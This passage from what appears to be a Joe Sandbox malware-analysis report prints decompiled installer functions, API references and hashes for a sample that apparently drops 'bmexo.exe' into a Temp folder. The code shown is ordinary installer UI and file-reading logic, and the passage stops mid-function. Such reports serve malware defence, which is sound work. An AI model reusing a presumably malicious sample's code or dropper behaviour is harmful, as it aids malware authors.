				long* _t54;

				if(_a4 + 0xfffffecd > 5) {
					L18:
					return 0;
				}
				_t54 = GetWindowLongW(_a12, 0xffffffeb);
				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
					goto L18;
				} else {
					_t50 = _t54[5];
					if((_t50 & 0xffffffe0) != 0) {
						goto L18;
					}
					_t39 =  *_t54;
					if((_t50 & 0x00000002) != 0) {
						_t39 = GetSysColor(_t39);
					}
					if((_t54[5] & 0x00000001) != 0) {
						SetTextColor(_a8, _t39);
					}
					SetBkMode(_a8, _t54[4]);
					_t41 = _t54[1];
					_v16.lbColor = _t41;
					if((_t54[5] & 0x00000008) != 0) {
						_t41 = GetSysColor(_t41);
						_v16.lbColor = _t41;
					}
					if((_t54[5] & 0x00000004) != 0) {
						SetBkColor(_a8, _t41);
					}
					if((_t54[5] & 0x00000010) != 0) {
						_v16.lbStyle = _t54[2];
						_t44 = _t54[3];
						if(_t44 != 0) {
							DeleteObject(_t44);
						}
						_t54[3] = CreateBrushIndirect( &_v16);
					}
					return _t54[3];
				}
			}

0x00404643
0x004046f9
0x00000000
0x004046f9
0x00404654
0x00404658
0x00000000
0x00404672
0x00404672
0x0040467b
0x00000000
0x00000000
0x0040467d
0x00404689
0x0040468c
0x0040468c
0x00404692
0x00404698
0x00404698
0x004046a4
0x004046aa
0x004046b1
0x004046b4
0x004046b7
0x004046b9
0x004046b9
0x004046c1
0x004046c7
0x004046c7
0x004046d1
0x004046d6
0x004046d9
0x004046de
0x004046e1
0x004046e1
0x004046f1
0x004046f1
0x00000000
0x004046f4

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040464E
GetSysColor.USER32 ref: 0040468C
SetTextColor.GDI32(?,00000000), ref: 00404698
SetBkMode.GDI32(?,?), ref: 004046A4
GetSysColor.USER32 ref: 004046B7
SetBkColor.GDI32(?,?), ref: 004046C7
DeleteObject.GDI32(?), ref: 004046E1
CreateBrushIndirect.GDI32(?), ref: 004046EB

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction ID: 80d2dfdfbb5be5877469216c844a522b7394a6fa1e0a99176855ee87e7478973
Opcode Fuzzy Hash: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction Fuzzy Hash: EC2179B15007049BC730DF68D908B5BBBF8AF41714F048E2EE9D6A26E1E739D944DB68

Uniqueness

Uniqueness Score: -1.00%

Function 004026EC Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004026EC(intOrPtr __ebx, intOrPtr __edx, void* __edi) {
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t72;
				void* _t76;
				void* _t79;

				_t72 = __edx;
				 *((intOrPtr*)(_t76 - 8)) = __ebx;
				_t65 = 2;
				 *((intOrPtr*)(_t76 - 0x4c)) = _t65;
				_t66 = E00402D84(_t65);
				_t79 = _t66 - 1;
				 *((intOrPtr*)(_t76 - 0x10)) = _t72;
				 *((intOrPtr*)(_t76 - 0x44)) = _t66;
				if(_t79 < 0) {
					L36:
					 *0x7a8b28 =  *0x7a8b28 +  *(_t76 - 4);
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *(__ebp - 0x44) = 0x3ff;
					}
					if( *__edi == __bx) {
						L34:
						__ecx =  *(__ebp - 0xc);
						__eax =  *(__ebp - 8);
						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
						if(_t79 == 0) {
							 *(_t76 - 4) = 1;
						}
						goto L36;
					} else {
						 *(__ebp - 0x38) = __ebx;
						 *(__ebp - 0x18) = E004065CE(__ecx, __edi);
						if( *(__ebp - 0x44) > __ebx) {
							do {
								if( *((intOrPtr*)(__ebp - 0x34)) != 0x39) {
									if( *((intOrPtr*)(__ebp - 0x24)) != __ebx ||  *(__ebp - 8) != __ebx || E0040623F( *(__ebp - 0x18), __ebx) >= 0) {
										__eax = __ebp - 0x50;
										if(E004061E1( *(__ebp - 0x18), __ebp - 0x50, 2) == 0) {
											goto L34;
										} else {
											goto L21;
										}
									} else {
										goto L34;
									}
								} else {
									__eax = __ebp - 0x40;
									_push(__ebx);
									_push(__ebp - 0x40);
									__eax = 2;
									__ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)) = __ebp + 0xa;
									__eax = ReadFile( *(__ebp - 0x18), __ebp + 0xa, __ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)), ??, ??);
									if(__eax == 0) {
										goto L34;
									} else {
										__ecx =  *(__ebp - 0x40);
										if(__ecx == __ebx) {
											goto L34;
										} else {
											__ax =  *(__ebp + 0xa) & 0x000000ff;
											 *(__ebp - 0x4c) = __ecx;
											 *(__ebp - 0x50) = __eax;
											if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
												L28:
												__ax & 0x0000ffff = E004065B5( *(__ebp - 0xc), __ax & 0x0000ffff);
											} else {
												__ebp - 0x50 = __ebp + 0xa;
												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x50, 1) != 0) {
													L21:
													__eax =  *(__ebp - 0x50);
												} else {
													__edi =  *(__ebp - 0x4c);
													__edi =  ~( *(__ebp - 0x4c));
													while(1) {
														_t22 = __ebp - 0x40;
														 *_t22 =  *(__ebp - 0x40) - 1;
														__eax = 0xfffd;
														 *(__ebp - 0x50) = 0xfffd;
														if( *_t22 == 0) {
															goto L22;
														}
														 *(__ebp - 0x4c) =  *(__ebp - 0x4c) - 1;
														__edi = __edi + 1;
														SetFilePointer( *(__ebp - 0x18), __edi, __ebx, 1) = __ebp - 0x50;
														__eax = __ebp + 0xa;
														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x40), __ebp - 0x50, 1) == 0) {
															continue;
														} else {
															goto L21;
														}
														goto L22;
													}
												}
												L22:
												if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
													goto L28;
												} else {
													if( *(__ebp - 0x38) == 0xd ||  *(__ebp - 0x38) == 0xa) {
														if( *(__ebp - 0x38) == __ax || __ax != 0xd && __ax != 0xa) {
															 *(__ebp - 0x4c) =  ~( *(__ebp - 0x4c));
															__eax = SetFilePointer( *(__ebp - 0x18),  ~( *(__ebp - 0x4c)), __ebx, 1);
														} else {
															__ecx =  *(__ebp - 0xc);
															__edx =  *(__ebp - 8);
															 *(__ebp - 8) =  *(__ebp - 8) + 1;
															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														}
														goto L34;
													} else {
														__ecx =  *(__ebp - 0xc);
														__edx =  *(__ebp - 8);
														 *(__ebp - 8) =  *(__ebp - 8) + 1;
														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														 *(__ebp - 0x38) = __eax;
														if(__ax == __bx) {
															goto L34;
														} else {
															goto L26;
														}
													}
												}
											}
										}
									}
								}
								goto L37;
								L26:
								__eax =  *(__ebp - 8);
							} while ( *(__ebp - 8) <  *(__ebp - 0x44));
						}
						goto L34;
					}
				}
				L37:
				return 0;
			}

0x004026ec
0x004026ee
0x004026f1
0x004026f3
0x004026f6
0x004026fb
0x004026ff
0x00402702
0x00402705
0x00402c2a
0x00402c2d
0x0040270b
0x0040270b
0x00402712
0x00402714
0x00402714
0x0040271a
0x0040287e
0x0040287e
0x00402881
0x00402886
0x004015b6
0x0040292e
0x0040292e
0x00000000
0x00402720
0x00402721
0x0040272c
0x0040272f
0x0040273b
0x0040273f
0x004027d7
0x004027ef
0x004027ff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402745
0x00402745
0x00402748
0x00402749
0x0040274c
0x00402751
0x00402758
0x00402760
0x00000000
0x00402766
0x00402766
0x0040276b
0x00000000
0x00402771
0x00402771
0x00402779
0x0040277c
0x0040277f
0x0040283a
0x00402841
0x00402785
0x0040278b
0x00402797
0x00402801
0x00402801
0x00402799
0x00402799
0x0040279c
0x0040279e
0x0040279e
0x0040279e
0x004027a1
0x004027a6
0x004027a9
0x00000000
0x00000000
0x004027ab
0x004027ae
0x004027bc
0x004027c2
0x004027d0
0x00000000
0x004027d2
0x00000000
0x004027d2
0x00000000
0x004027d0
0x0040279e
0x00402804
0x00402807
0x00000000
0x00402809
0x0040280e
0x0040284f
0x00402871
0x00402878
0x0040285d
0x0040285d
0x00402860
0x00402863
0x00402866
0x00402866
0x00000000
0x00402817
0x00402817
0x0040281a
0x0040281d
0x00402823
0x00402827
0x0040282a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040282a
0x0040280e
0x00402807
0x0040277f
0x0040276b
0x00402760
0x00000000
0x0040282c
0x0040282c
0x0040282f
0x00402838
0x00000000
0x0040272f
0x0040271a
0x00402c33
0x00402c39

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402758
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402793
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027B6
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027CC

Part of subcall function 0040623F: SetFilePointer.KERNEL32(?,00000000,00000000,00000001,00000000,?,?,?,004026D1,00000000,00000000,?,00000000,00000011), ref: 00406255

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402878

Strings

9, xrefs: 0040273B

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: ea37fd964e3ddf3b7a618de9004236b276f671010f51a76b8aa07d43f39fc3cd
Instruction ID: 3e360b617c3737f2e779930334e882a7207aef4f73e2c1e076e29b282e1bb3de
Opcode Fuzzy Hash: ea37fd964e3ddf3b7a618de9004236b276f671010f51a76b8aa07d43f39fc3cd
Instruction Fuzzy Hash: 60510B75D00219ABDF20EF95CA89AAEBB79FF04304F10817BE541B62D4D7B49D82CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004056D0 Relevance: 10.6, APIs: 7, Instructions: 72
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004056D0(signed int _a4, WCHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				WCHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t27;
				signed int _t28;
				long _t29;
				signed int _t37;
				signed int _t38;

				_t27 =  *0x7a7a84;
				_v8 = _t27;
				if(_t27 != 0) {
					_t37 =  *0x7a8b54;
					_v12 = _t37;
					_t38 = _t37 & 0x00000001;
					if(_t38 == 0) {
						E004066AB(_t38, 0, 0x7a0f68, 0x7a0f68, _a4);
					}
					_t27 = lstrlenW(0x7a0f68);
					_a4 = _t27;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t27 = SetWindowTextW( *0x7a7a68, 0x7a0f68);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x7a0f68;
							_v52 = 1;
							_t29 = SendMessageW(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t38;
							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52);
							_t27 = SendMessageW(_v8, 0x1013, _v48, 0);
						}
						if(_t38 != 0) {
							_t28 = _a4;
							0x7a0f68[_t28] = 0;
							return _t28;
						}
					} else {
						_t27 = lstrlenW(_a8) + _a4;
						if(_t27 < 0x1000) {
							_t27 = lstrcatW(0x7a0f68, _a8);
							goto L6;
						}
					}
				}
				return _t27;
			}

0x004056d6
0x004056e0
0x004056e5
0x004056eb
0x004056f6
0x004056f9
0x004056fc
0x00405702
0x00405702
0x00405708
0x00405710
0x00405713
0x00405730
0x00405734
0x0040573d
0x0040573d
0x00405747
0x00405750
0x0040575c
0x00405763
0x00405767
0x0040576a
0x0040577d
0x0040578b
0x0040578b
0x0040578f
0x00405791
0x00405794
0x00000000
0x00405794
0x00405715
0x0040571d
0x00405725
0x0040572b
0x00000000
0x0040572b
0x00405725
0x00405713
0x004057a0

APIs

lstrlenW.KERNEL32(007A0F68,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405708
lstrlenW.KERNEL32(004030A8,007A0F68,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405718
lstrcatW.KERNEL32 ref: 0040572B
SetWindowTextW.USER32 ref: 0040573D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405763
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040577D
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040578B

Part of subcall function 004066AB: lstrcatW.KERNEL32 ref: 00406850
Part of subcall function 004066AB: lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya,00000000,007A0F68,?,00405707,007A0F68,00000000), ref: 004068AA

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$TextWindow
String ID:
API String ID: 1495540970-0
Opcode ID: 5359f18cea5025c05ea2e312da5c850c9979a77eaabc6fad8f28e044c716b6a3
Instruction ID: b1df74b24ef97eccf04675f52fbaffa54a328febca5869b92639b2b84e823bb6
Opcode Fuzzy Hash: 5359f18cea5025c05ea2e312da5c850c9979a77eaabc6fad8f28e044c716b6a3
Instruction Fuzzy Hash: 32219D71900518FACF119FA5DD84ACFBFB8EF85350F10842AF904B6290C7794A40DFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004068F5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004068F5(WCHAR* _a4) {
				short _t5;
				short _t7;
				WCHAR* _t19;
				WCHAR* _t20;
				WCHAR* _t21;

				_t20 = _a4;
				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
					_t20 =  &(_t20[4]);
				}
				if( *_t20 != 0 && E00405FB4(_t20) != 0) {
					_t20 =  &(_t20[2]);
				}
				_t5 =  *_t20;
				_t21 = _t20;
				_t19 = _t20;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((short*)(E00405F6A(L"*?|<>/\":", _t5))) == 0) {
							E00406119(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
							_t19 = CharNextW(_t19);
						}
						_t20 = CharNextW(_t20);
						_t5 =  *_t20;
					} while (_t5 != 0);
				}
				 *_t19 =  *_t19 & 0x00000000;
				while(1) {
					_push(_t19);
					_push(_t21);
					_t19 = CharPrevW();
					_t7 =  *_t19;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t19 =  *_t19 & 0x00000000;
					if(_t21 < _t19) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x004068f7
0x00406900
0x00406917
0x00406917
0x0040691e
0x0040692a
0x0040692a
0x0040692d
0x00406930
0x00406935
0x00406937
0x00406940
0x00406944
0x00406961
0x00406969
0x00406969
0x0040696e
0x00406970
0x00406973
0x00406978
0x00406979
0x0040697d
0x0040697d
0x0040697e
0x00406985
0x00406987
0x0040698e
0x00000000
0x00000000
0x00406996
0x0040699c
0x00000000
0x00000000
0x00000000
0x0040699c
0x004069a1

APIs

CharNextW.USER32(?), ref: 00406958
CharNextW.USER32(?), ref: 00406967
CharNextW.USER32(?), ref: 0040696C
CharPrevW.USER32(?,?), ref: 0040697F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004068F6
*?|<>/":, xrefs: 00406947

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3083651966
Opcode ID: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
Instruction ID: be6858c8d4b602c62de40fdc636a35535680886f1e3ed17f643e47e9e10769a1
Opcode Fuzzy Hash: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
Instruction Fuzzy Hash: 0D11E6A580060295DB302B148C40A7762E8AF94750F12403FE98AB36C1E7BC4CA2C6BD

Uniqueness

Uniqueness Score: -1.00%

Function 0040302E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040302E(intOrPtr _a4) {
				short _v132;
				long _t6;
				struct HWND__* _t7;
				struct HWND__* _t15;

				if(_a4 != 0) {
					_t15 =  *0x79f73c;
					if(_t15 != 0) {
						_t15 = DestroyWindow(_t15);
					}
					 *0x79f73c = 0;
					return _t15;
				}
				if( *0x79f73c != 0) {
					return E00406A77(0);
				}
				_t6 = GetTickCount();
				if(_t6 >  *0x7a8aac) {
					if( *0x7a8aa8 == 0) {
						_t7 = CreateDialogParamW( *0x7a8aa0, 0x6f, 0, E00402F93, 0);
						 *0x79f73c = _t7;
						return ShowWindow(_t7, 5);
					}
					if(( *0x7a8b54 & 0x00000001) != 0) {
						wsprintfW( &_v132, L"... %d%%", E00403012());
						return E004056D0(0,  &_v132);
					}
				}
				return _t6;
			}

0x0040303d
0x0040303f
0x00403046
0x00403049
0x00403049
0x0040304f
0x00000000
0x0040304f
0x0040305d
0x00000000
0x00403060
0x00403067
0x00403073
0x0040307b
0x004030b9
0x004030c2
0x00000000
0x004030c7
0x00403084
0x00403095
0x00000000
0x004030a3
0x00403084
0x004030cf

APIs

DestroyWindow.USER32 ref: 00403049
GetTickCount.KERNEL32(00000000), ref: 00403067
wsprintfW.USER32 ref: 00403095

Part of subcall function 004056D0: lstrlenW.KERNEL32(007A0F68,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405708
Part of subcall function 004056D0: lstrlenW.KERNEL32(004030A8,007A0F68,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405718
Part of subcall function 004056D0: lstrcatW.KERNEL32 ref: 0040572B
Part of subcall function 004056D0: SetWindowTextW.USER32 ref: 0040573D
Part of subcall function 004056D0: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405763
Part of subcall function 004056D0: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040577D
Part of subcall function 004056D0: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040578B

CreateDialogParamW.USER32 ref: 004030B9
ShowWindow.USER32(00000000,00000005), ref: 004030C7

Part of subcall function 00403012: MulDiv.KERNEL32 ref: 00403027

Strings

... %d%%, xrefs: 0040308F

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 54489552992201bc3988819c72fa622d06d96af98b9c9b950ef7c711f1b17aa9
Instruction ID: 36a9105e1bf518e5a00a94211bbaadb265df24d4843d4ed97aac6270594080be
Opcode Fuzzy Hash: 54489552992201bc3988819c72fa622d06d96af98b9c9b950ef7c711f1b17aa9
Instruction Fuzzy Hash: 40015B70413610ABC7217FA0AD49A9A7FACAB01B06F50853BF441F25E9DA7C46458B9E

Uniqueness

Uniqueness Score: -1.00%

Function 00404F85 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404F85(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageW(_t28, 0x113e, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404f93
0x00404fa0
0x00404fa6
0x00404fe4
0x00404fe4
0x00404ff3
0x00404ffa
0x00000000
0x00404ffc
0x00404fa8
0x00404fb7
0x00404fbf
0x00404fc2
0x00404fd4
0x00404fda
0x00404fe1
0x00000000
0x00404fe1
0x00000000

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404FA0
GetMessagePos.USER32 ref: 00404FA8
ScreenToClient.USER32(?,?), ref: 00404FC2
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404FD4
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404FFA

Strings

f, xrefs: 00404FD6

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: 51d4338ac073bbeac8b2964ce5aa15998fcdd55d82c6f64f668885239b8ba4c4
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: D6015E7194021DBADB00DBA5DD85FFEBBBCAF54711F10012BBB50B61C0D7B49A058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402F93 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F93(struct HWND__* _a4, intOrPtr _a8) {
				short _v132;
				void* _t11;
				WCHAR* _t19;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t11 = E00403012();
					_t19 = L"unpacking data: %d%%";
					if( *0x7a8ab0 == 0) {
						_t19 = L"verifying installer: %d%%";
					}
					wsprintfW( &_v132, _t19, _t11);
